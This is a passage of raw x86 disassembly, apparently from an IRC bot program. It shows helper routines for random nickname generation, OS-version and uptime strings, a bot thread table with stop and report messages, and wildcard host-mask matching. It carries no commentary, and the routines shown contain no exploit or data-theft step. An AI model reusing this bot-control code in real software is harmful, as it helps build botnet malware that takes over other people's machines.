; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		nop
		call	near ptr 26907AFh
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_431250
		push	eax
		push	esi
		call	near ptr 26C0000h
		nop
		movsx	eax, byte_431250
		push	41h
		pop	ecx
		push	1
		pop	edx

loc_40AE09:				; CODE XREF: ___:0040AE14j
		cmp	eax, ecx
		jnz	short loc_40AE10
		mov	[ebp-4], edx

loc_40AE10:				; CODE XREF: ___:0040AE0Bj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AE09
		push	61h
		pop	ecx

loc_40AE19:				; CODE XREF: ___:0040AE24j
		cmp	eax, ecx
		jnz	short loc_40AE20
		mov	[ebp-4], edx

loc_40AE20:				; CODE XREF: ___:0040AE1Bj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AE19
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AE65

loc_40AE3F:				; CODE XREF: ___:0040AE63j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AE3F

loc_40AE65:				; CODE XREF: ___:0040AE3Dj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	near ptr 26907AFh
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	near ptr 26D0000h
		nop
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_431254
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AEDA

loc_40AEB4:				; CODE XREF: ___:0040AED8j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AEB4

loc_40AEDA:				; CODE XREF: ___:0040AEB2j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_43D128
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 26D05BAh
		call	near ptr 26907AFh
		nop
		push	eax
		call	sub_41B8D8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AF64
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF44
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AF34
		mov	esi, offset dword_43127C

loc_40AF34:				; CODE XREF: ___:0040AF2Dj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AFA0
		mov	esi, offset dword_431278
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF44:				; CODE XREF: ___:0040AF24j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AF54
		mov	esi, offset dword_431274
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF54:				; CODE XREF: ___:0040AF4Bj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AF9B
		mov	esi, offset dword_431270
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF64:				; CODE XREF: ___:0040AF1Bj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AF9B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF7D
		mov	esi, offset dword_43126C
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF7D:				; CODE XREF: ___:0040AF74j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AF8D
		mov	esi, offset dword_431268
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF8D:				; CODE XREF: ___:0040AF84j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_431264
		jz	short loc_40AFA0

loc_40AF9B:				; CODE XREF: ___:0040AF5Bj
					; ___:0040AF6Bj
		mov	esi, offset dword_431260

loc_40AFA0:				; CODE XREF: ___:0040AF3Bj
					; ___:0040AF42j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_431258
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AFE4

loc_40AFBE:				; CODE XREF: ___:0040AFE2j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AFBE

loc_40AFE4:				; CODE XREF: ___:0040AFBCj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFEA	proc near		; CODE XREF: sub_40B08D+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	near ptr 26907AFh
		nop
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B039
		call	dword_4CAF80
		test	eax, eax
		mov	eax, offset dword_431288
		jnz	short loc_40B022
		mov	eax, offset dword_43D128

loc_40B022:				; CODE XREF: sub_40AFEA+31j
		push	eax
		push	esi
		push	offset dword_431280
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40B059
; ---------------------------------------------------------------------------

loc_40B039:				; CODE XREF: sub_40AFEA+22j
		call	dword_4CAF80
		test	eax, eax
		mov	eax, offset dword_431288
		jnz	short loc_40B04D
		mov	eax, offset dword_43D128

loc_40B04D:				; CODE XREF: sub_40AFEA+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40B059:				; CODE XREF: sub_40AFEA+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41AFE0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B088
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C1E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 18h

loc_40B088:				; CODE XREF: sub_40AFEA+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AFEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B08D	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42D58C

loc_40B099:				; CODE XREF: sub_40B08D+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40B0B4
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C070
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B0BE
; ---------------------------------------------------------------------------

loc_40B0B4:				; CODE XREF: sub_40B08D+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al

loc_40B0BE:				; CODE XREF: sub_40B08D+25j
		test	eax, eax
		jnz	short loc_40B0D0
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42D604
		jb	short loc_40B099
		jmp	short loc_40B0DE
; ---------------------------------------------------------------------------

loc_40B0D0:				; CODE XREF: sub_40B08D+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42D590[eax*4]
		pop	ecx

loc_40B0DE:				; CODE XREF: sub_40B08D+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B0F1
		push	[ebp+arg_0]
		call	sub_40AFEA
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40B0F1:				; CODE XREF: sub_40B08D+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40B08D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0F6	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43DCB0

loc_40B0FE:				; CODE XREF: sub_40B0F6+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B112
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CACB0
		jl	short loc_40B0FE
		jmp	short loc_40B15D
; ---------------------------------------------------------------------------

loc_40B112:				; CODE XREF: sub_40B0F6+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43DCB0[esi]
		push	eax
		call	sub_41B5F0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43DEB0[esi], eax
		and	dword_43DEB4[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43DEB8[esi], 0
		mov	dword_43DEBC[esi], eax
		and	byte_43DEC8[esi], 0
		pop	esi

loc_40B15D:				; CODE XREF: sub_40B0F6+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B0F6	endp

; ---------------------------------------------------------------------------
byte_40B161	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2989o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 90006A14h, 2D4E4FE8h, 555E5F02h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 431388h, 0FF0C75FFh, 9FE80875h
		dd 83FFFFE8h, 0FF3314C4h, 43DCB0BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 0C19068FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h,	0C68124C4h
		dd 234h, 0B0FE8147h, 7C004CACh,	0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B231	proc near		; CODE XREF: sub_401ACD+7BA4p
					; sub_40B2BF+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B2B9
		cmp	esi, 400h
		jge	short loc_40B2B9
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43DEC4[esi]
		lea	edi, dword_43DEC4[esi]
		call	near ptr 2690812h
		nop
		cmp	[edi], ebx
		jz	short loc_40B269
		push	1
		pop	ebp

loc_40B269:				; CODE XREF: sub_40B231+33j
		mov	[edi], ebx
		lea	edi, dword_43DEB8[esi]
		mov	dword_43DEB0[esi], ebx
		mov	dword_43DEB4[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B28A
		push	eax
		call	sub_4199C9
		pop	ecx

loc_40B28A:				; CODE XREF: sub_40B231+50j
		mov	[edi], ebx
		lea	edi, dword_43DEBC[esi]
		mov	byte ptr dword_43DCB0[esi], bl
		mov	byte_43DEC8[esi], bl
		push	dword ptr [edi]
		call	dword_4CB00C
		lea	esi, dword_43DEC0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CB00C
		mov	[esi], ebx
		pop	edi

loc_40B2B9:				; CODE XREF: sub_40B231+Dj
					; sub_40B231+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B231	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2BF	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43DCB0

loc_40B2CB:				; CODE XREF: sub_40B2BF+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B2DC
		push	edi
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B2DC
		inc	ebx

loc_40B2DC:				; CODE XREF: sub_40B2BF+Fj
					; sub_40B2BF+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CACB0
		jl	short loc_40B2CB
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B2BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2F1	proc near		; CODE XREF: sub_401ACD+418Ep
					; sub_401ACD+42E0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43DEB4

loc_40B305:				; CODE XREF: sub_40B2F1+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B327
		test	edi, edi
		jle	short loc_40B319
		cmp	[esi], edi
		jz	short loc_40B319
		cmp	ebx, edi
		jnz	short loc_40B327

loc_40B319:				; CODE XREF: sub_40B2F1+1Ej
					; sub_40B2F1+22j
		push	ebx
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B327
		inc	[ebp+var_4]

loc_40B327:				; CODE XREF: sub_40B2F1+1Aj
					; sub_40B2F1+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CAEB4
		jl	short loc_40B305
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B33E	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+97Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43DEB0

loc_40B345:				; CODE XREF: sub_40B33E+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B34E
		inc	eax

loc_40B34E:				; CODE XREF: sub_40B33E+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CAEB0
		jl	short loc_40B345
		retn
sub_40B33E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B35D	proc near		; CODE XREF: sub_401ACD+2433p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43DEB0

loc_40B367:				; CODE XREF: sub_40B35D+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B380
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CAEB0
		jl	short loc_40B367
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40B380:				; CODE XREF: sub_40B35D+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B35D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B384	proc near		; CODE XREF: sub_401ACD+1066p
					; sub_401ACD+126Cp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B39D
		push	[ebp+arg_1C]
		call	sub_41B779
		pop	ecx

loc_40B39D:				; CODE XREF: sub_40B384+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B2F1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B3C9
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40B3E3
; ---------------------------------------------------------------------------

loc_40B3C9:				; CODE XREF: sub_40B384+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41B886
		add	esp, 10h

loc_40B3E3:				; CODE XREF: sub_40B384+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B403
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_40B403:				; CODE XREF: sub_40B384+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		leave
		retn
sub_40B384	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B412	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BA47p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43DEC4[eax], ecx
		mov	dword_43DEB0[eax], ecx
		mov	dword_43DEB4[eax], ecx
		mov	dword_43DEB8[eax], ecx
		mov	dword_43DEBC[eax], ecx
		mov	dword_43DEC0[eax], ecx
		mov	byte ptr dword_43DCB0[eax], cl
		mov	byte_43DEC8[eax], cl
		retn
sub_40B412	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B44F	proc near		; CODE XREF: sub_401ACD+7E3Bp
					; sub_40B57D+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax

loc_40B459:				; CODE XREF: sub_40B44F+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B4B9
		cmp	eax, 1
		jnz	short loc_40B4B9
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B4B9
		cmp	cl, 2Ah
		jz	short loc_40B4A0
		cmp	cl, 3Fh
		jz	short loc_40B483
		cmp	cl, 5Bh
		jz	short loc_40B488
		xor	eax, eax
		cmp	cl, dl
		setz	al

loc_40B483:				; CODE XREF: sub_40B44F+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------

loc_40B488:				; CODE XREF: sub_40B44F+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B4E5
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------

loc_40B4A0:				; CODE XREF: sub_40B44F+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B57D
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi

loc_40B4B3:				; CODE XREF: sub_40B44F+37j
					; sub_40B44F+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B459
; ---------------------------------------------------------------------------

loc_40B4B9:				; CODE XREF: sub_40B44F+Ej
					; sub_40B44F+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B4C9
		cmp	eax, 1
		jnz	short loc_40B4E0
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B4B9
; ---------------------------------------------------------------------------

loc_40B4C9:				; CODE XREF: sub_40B44F+6Dj
		cmp	eax, 1
		jnz	short loc_40B4E0
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B4E0
		cmp	byte ptr [esi],	0
		jnz	short loc_40B4E0
		push	1
		pop	eax
		jmp	short loc_40B4E2
; ---------------------------------------------------------------------------

loc_40B4E0:				; CODE XREF: sub_40B44F+72j
					; sub_40B44F+7Dj ...
		xor	eax, eax

loc_40B4E2:				; CODE XREF: sub_40B44F+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B44F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4E5	proc near		; CODE XREF: sub_40B44F+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B506
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx

loc_40B506:				; CODE XREF: sub_40B4E5+19j
		push	ebx
		push	esi

loc_40B508:				; CODE XREF: sub_40B4E5+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B516
		cmp	[ebp+var_4], eax
		jnz	short loc_40B562

loc_40B516:				; CODE XREF: sub_40B4E5+2Aj
		test	edi, edi
		jnz	short loc_40B557
		cmp	bl, 2Dh
		jnz	short loc_40B54B
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B54B
		cmp	al, 5Dh
		jz	short loc_40B54B
		cmp	[ebp+var_4], edi
		jnz	short loc_40B54B
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B557
		cmp	bl, al
		jg	short loc_40B557
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B557
; ---------------------------------------------------------------------------

loc_40B54B:				; CODE XREF: sub_40B4E5+38j
					; sub_40B4E5+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B557
		push	1
		pop	edi

loc_40B557:				; CODE XREF: sub_40B4E5+33j
					; sub_40B4E5+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B508
; ---------------------------------------------------------------------------

loc_40B562:				; CODE XREF: sub_40B4E5+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B56F
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx

loc_40B56F:				; CODE XREF: sub_40B4E5+82j
		cmp	edi, eax
		jnz	short loc_40B578
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]

loc_40B578:				; CODE XREF: sub_40B4E5+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B4E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B57D	proc near		; CODE XREF: sub_40B44F+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx

loc_40B599:				; CODE XREF: sub_40B57D+3Aj
		cmp	[eax], bl
		jz	short loc_40B5B9
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B5AE
		cmp	cl, 2Ah
		jnz	short loc_40B5B9
		cmp	cl, 3Fh
		jnz	short loc_40B5B1

loc_40B5AE:				; CODE XREF: sub_40B57D+25j
		inc	eax
		mov	[edi], eax

loc_40B5B1:				; CODE XREF: sub_40B57D+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B599
; ---------------------------------------------------------------------------

loc_40B5B9:				; CODE XREF: sub_40B57D+1Ej
					; sub_40B57D+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B5C4
		inc	dword ptr [esi]
		jmp	short loc_40B5B9
; ---------------------------------------------------------------------------

loc_40B5C4:				; CODE XREF: sub_40B57D+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B5D6
		xor	eax, eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------

loc_40B5D6:				; CODE XREF: sub_40B57D+53j
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B5E5
		push	1
		pop	eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------

loc_40B5E5:				; CODE XREF: sub_40B57D+4Dj
					; sub_40B57D+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B62F

loc_40B5F3:				; CODE XREF: sub_40B57D+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]

loc_40B5F7:				; CODE XREF: sub_40B57D+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B60F
		cmp	cl, 5Bh
		jz	short loc_40B60F
		cmp	dl, bl
		jz	short loc_40B60F
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B5F7
; ---------------------------------------------------------------------------

loc_40B60F:				; CODE XREF: sub_40B57D+82j
					; sub_40B57D+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B626
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B62B
; ---------------------------------------------------------------------------

loc_40B626:				; CODE XREF: sub_40B57D+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax

loc_40B62B:				; CODE XREF: sub_40B57D+A7j
		cmp	eax, ebx
		jnz	short loc_40B5F3

loc_40B62F:				; CODE XREF: sub_40B57D+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	[ebp+var_4], 1

loc_40B642:				; CODE XREF: sub_40B57D+B6j
					; sub_40B57D+BCj
		mov	eax, [ebp+var_4]

loc_40B645:				; CODE XREF: sub_40B57D+57j
					; sub_40B57D+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B57D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B64A	proc near		; CODE XREF: sub_401ACD+2AF5p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_4317A4
		push	eax
		xor	ebx, ebx
		call	sub_41B886
		cmp	dword_431408, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B6BC
		push	esi
		mov	esi, offset dword_431410

loc_40B67D:				; CODE XREF: sub_40B64A+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B6B2
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431798
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		add	esp, 1Ch

loc_40B6B2:				; CODE XREF: sub_40B64A+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B67D
		pop	esi

loc_40B6BC:				; CODE XREF: sub_40B64A+2Bj
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B64A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B719	proc near		; CODE XREF: sub_401ACD+2ADFp

